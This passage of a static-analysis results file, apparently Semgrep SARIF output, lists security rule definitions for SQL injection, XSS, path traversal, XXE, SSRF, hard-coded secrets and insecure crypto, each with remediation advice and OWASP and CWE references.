deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","id":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","name":"python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-shelve-pyramid.tainted-shelve-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"help":{"markdown":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n","text":"The application processes user-input, this is passed to res.sendFile which can allow an attacker to arbitrarily read files on the system through path traversal. It is recommended to perform input validation in addition to canonicalizing the path. This allows you to validate the path against the intended directory it should be accessing."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile","id":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","name":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-res-sendfile.express-res-sendfile"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","id":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","name":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"help":{"markdown":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb)\n","text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql","id":"ruby.rails.security.brakeman.check-sql.check-sql","name":"ruby.rails.security.brakeman.check-sql.check-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-sql.check-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","id":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","name":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.secrets.database-password.database-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/php.secrets.database-password.database-password","id":"php.secrets.database-password.database-password","name":"php.secrets.database-password.database-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.secrets.database-password.database-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"S3 bucket with public read-write access detected."},"help":{"markdown":"S3 bucket with public read-write access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read-write access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","id":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","name":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","id":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","name":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","id":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","name":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response","id":"scala.play.security.tainted-html-response.tainted-html-response","name":"scala.play.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write","id":"java.micronaut.xss.direct-response-write.direct-response-write","name":"java.micronaut.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","id":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","name":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"help":{"markdown":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n","text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode","id":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","name":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_ecb_mode.use_ecb_mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","id":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","name":"python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-hardcoded-secret.python-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and 